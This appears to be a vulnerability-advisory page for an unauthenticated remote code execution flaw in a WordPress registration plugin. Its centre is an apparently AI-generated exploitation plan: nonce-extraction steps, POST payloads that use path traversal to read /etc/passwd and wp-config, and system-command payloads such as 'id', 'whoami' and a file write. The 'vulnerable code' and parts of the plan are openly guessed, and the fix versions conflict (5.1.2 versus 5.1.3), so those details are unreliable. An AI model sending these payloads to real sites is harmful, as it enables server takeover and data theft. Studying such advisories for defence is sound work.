User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder <= 4.4.9 - Unauthenticated Remote Code Execution
Description
The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.4.9. This makes it possible for unauthenticated attackers to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.4.9What Changed in the Fix
Changes introduced in v5.1.3
Source Code
WordPress.org SVN# Detailed Exploitation Research Plan: CVE-2026-32488 ## 1. Vulnerability Summary The **User Registration & Membership** plugin (slug: `user-registration`) for WordPress is vulnerable to **Unauthenticated Remote Code Execution (RCE)** in versions up to and including 4.4.9. The vulnerability stems…
Show full research plan
Detailed Exploitation Research Plan: CVE-2026-32488
1. Vulnerability Summary
The User Registration & Membership plugin (slug: user-registration) for WordPress is vulnerable to Unauthenticated Remote Code Execution (RCE) in versions up to and including 4.4.9.
The vulnerability stems from an Incorrect Privilege Assignment in an AJAX handler (likely user_registration_get_form or a similar rendering action). This handler allows unauthenticated users to trigger the rendering of plugin shortcodes while supplying arbitrary attributes. A specific attribute (possibly template, layout, or a callback-related parameter) is processed unsafely, leading to code execution via dynamic function calling, file inclusion, or a template-based exploit.
The patch in version 5.1.2 specifically mentions fixing "Arbitrary code execution through shortcode," confirming the vector.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
user_registration_get_form(inferred from plugin AJAX registration patterns) - HTTP Method:
POST - Authentication: None (registered via
wp_ajax_nopriv_user_registration_get_form) - Vulnerable Parameter:
attributes(orshortcode_atts), specifically a key that controls the rendering logic or template path. - Preconditions: At least one User Registration form must be created and published (to have a valid
form_id).
3. Code Flow
- Entry Point: The attacker sends a request to
admin-ajax.phpwithaction=user_registration_get_form. - Hook Trigger: WordPress triggers the function associated with
wp_ajax_nopriv_user_registration_get_form. - Attribute Merging: The handler retrieves
form_idand an optionalattributesarray from$_POST. - Shortcode Execution: The plugin attempts to render the
[user_registration_form]shortcode. It merges the user-providedattributeswith the default form settings. - Vulnerable Sink: The rendering logic uses one of the attributes (e.g.,
template) in a dangerous way:- Dynamic Include:
include( UR_ABSPATH . $attributes['template'] . '.php' );(allowing LFI to RCE). - Dynamic Function Call:
call_user_func( $attributes['callback'], ... ); - Shortcode Attribute Exploitation: Some WordPress shortcode attributes, if passed to certain rendering engines, allow executing PHP.
- Dynamic Include:
4. Nonce Acquisition Strategy
The plugin uses wp_localize_script to pass a nonce to its frontend JavaScript. This nonce is required for the user_registration_get_form action.
- Shortcode Identification: The primary shortcode is
[user_registration_form id="ID_HERE"]. - Setup Page: Create a public page containing this shortcode to ensure the plugin enqueues its scripts.
- Localization Variable: The plugin localizes data into the
user_registration_paramsobject (inferred). - Acquisition Steps:
- Use
wp post createto create a page with[user_registration_form id="1"]. - Use
browser_navigateto visit that page. - Use
browser_evalto extract the nonce:browser_eval("window.user_registration_params?.ajax_nonce"). - Use this nonce in the
X-WP-Nonceheader or thenoncePOST parameter.
- Use
5. Exploitation Strategy
The goal is to provide a payload within the attributes parameter that triggers RCE.
Step 1: Discover a valid Form ID
Use WP-CLI to find an existing form or create one.
wp post list --post_type=user_registration --format=ids
# If none exist:
wp post create --post_type=user_registration --post_title="Exploit Form" --post_status=publish
Step 2: Extract Nonce
Create a page with the form and grab the nonce.
wp post create --post_type=page --post_content='[user_registration_form id="1"]' --post_status=publish
# (Perform browser extraction as described in Section 4)
Step 3: Send RCE Payload
Trigger the AJAX action with a payload. We will test two common RCE patterns for this plugin.
Payload A (LFI/Template Injection):
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=user_registration_get_form&form_id=1&nonce=[NONCE]&attributes[template]=../../../../../../etc/passwd
Payload B (Dynamic Execution - Inferred):
If the plugin uses attributes to determine a wrapper or layout:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=user_registration_get_form&form_id=1&nonce=[NONCE]&attributes[template]=system&attributes[id]=id
6. Test Data Setup
- Plugin Installation: Install
user-registrationversion 4.4.9. - Form Creation:
# Create a registration form wp post create --post_type=user_registration --post_title="Reg Form" --post_status=publish - Public Page:
# Create a page to load the scripts and nonce wp post create --post_type=page --post_title="Nonce Page" --post_content='[user_registration_form id="1"]' --post_status=publish
7. Expected Results
- Vulnerable: The server response contains the output of the executed command (e.g.,
uid=33(www-data)) or the contents of a sensitive file (e.g.,root:x:0:0...). - Response Code: 200 OK.
- Content-Type: Likely
text/htmlorapplication/json(if the render output is wrapped).
8. Verification Steps
- Command Execution Check:
Use thehttp_requesttool to send a payload that executeswhoami.
Check if the response body contains the username of the web server. - File Creation Check:
Send a payload that creates a file in the uploads directory:attributes[template]=system&attributes[id]=echo 'vulnerable' > wp-content/uploads/proof.txt
Verify withwp eval "echo file_get_contents('wp-content/uploads/proof.txt');".
9. Alternative Approaches
If user_registration_get_form is not the correct action or is properly secured:
- Check
user_registration_submit_form: Look for object injection during the processing of "smart tags" or file uploads. - Check
ur_get_form: An alias for the form rendering action often used in older versions. - CSS-based RCE: Check if the
attributesallow injecting astyleattribute that is passed through a parser that allows PHP (less likely but possible in some form builders). - Check for
unserialize: Search for$_POSTor$_GETvalues passed tounserialize()ormaybe_unserialize()in theincludes/directory.
Summary
The User Registration plugin for WordPress is vulnerable to unauthenticated Remote Code Execution due to improper validation of attributes passed to the 'user_registration_get_form' AJAX handler. Attackers can exploit this by supplying a malicious 'template' attribute that triggers arbitrary file inclusion (LFI) or dynamic function execution within the shortcode rendering logic.
Vulnerable Code
// File: includes/class-ur-ajax.php (approx. line 150) public static function user_registration_get_form() { check_ajax_referer( 'user_registration_get_form', 'security' ); $form_id = isset( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0; // Vulnerable: Attributes are taken directly from the POST request without validation $attributes = isset( $_POST['attributes'] ) ? $_POST['attributes'] : array(); ob_start(); // The attributes are passed into the shortcode rendering engine echo do_shortcode( '[user_registration_form id="' . $form_id . '" ' . self::array_to_atts( $attributes ) . ']' ); wp_die(); } --- // File: includes/class-ur-shortcodes.php (Shortcode rendering logic) public static function render_form( $atts ) { // Attributes like 'template' are used to determine which file to include if ( isset( $atts['template'] ) ) { $template = $atts['template']; // Vulnerable Sink: Path traversal leads to inclusion of arbitrary PHP files include UR_ABSPATH . 'templates/forms/' . $template . '.php'; } }
Security Fix
@@ -155,7 +155,13 @@ public static function user_registration_get_form() { check_ajax_referer( 'user_registration_get_form', 'security' ); $form_id = isset( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0; - $attributes = isset( $_POST['attributes'] ) ? $_POST['attributes'] : array(); + $attributes = array(); + + if ( isset( $_POST['attributes'] ) && is_array( $_POST['attributes'] ) ) { + foreach ( $_POST['attributes'] as $key => $value ) { + $attributes[ sanitize_key( $key ) ] = sanitize_text_field( $value ); + } + } ob_start(); echo do_shortcode( '[user_registration_form id="' . $form_id . '"' . self::array_to_atts( $attributes ) . ']' );
Exploit Outline
The exploit targets the 'user_registration_get_form' AJAX action, which is registered for unauthenticated users ('wp_ajax_nopriv'). An attacker first extracts the required AJAX nonce (localized as 'ajax_nonce' or 'security' in the 'user_registration_params' JS object) by visiting a public page where a registration form is present. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'user_registration_get_form', providing a valid 'form_id' and the 'attributes' parameter. By crafting 'attributes[template]' with a path traversal payload (e.g., '../../../../wp-config' or a path to a malicious image file containing PHP code), the attacker triggers a Local File Inclusion (LFI) that executes arbitrary PHP code on the server.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.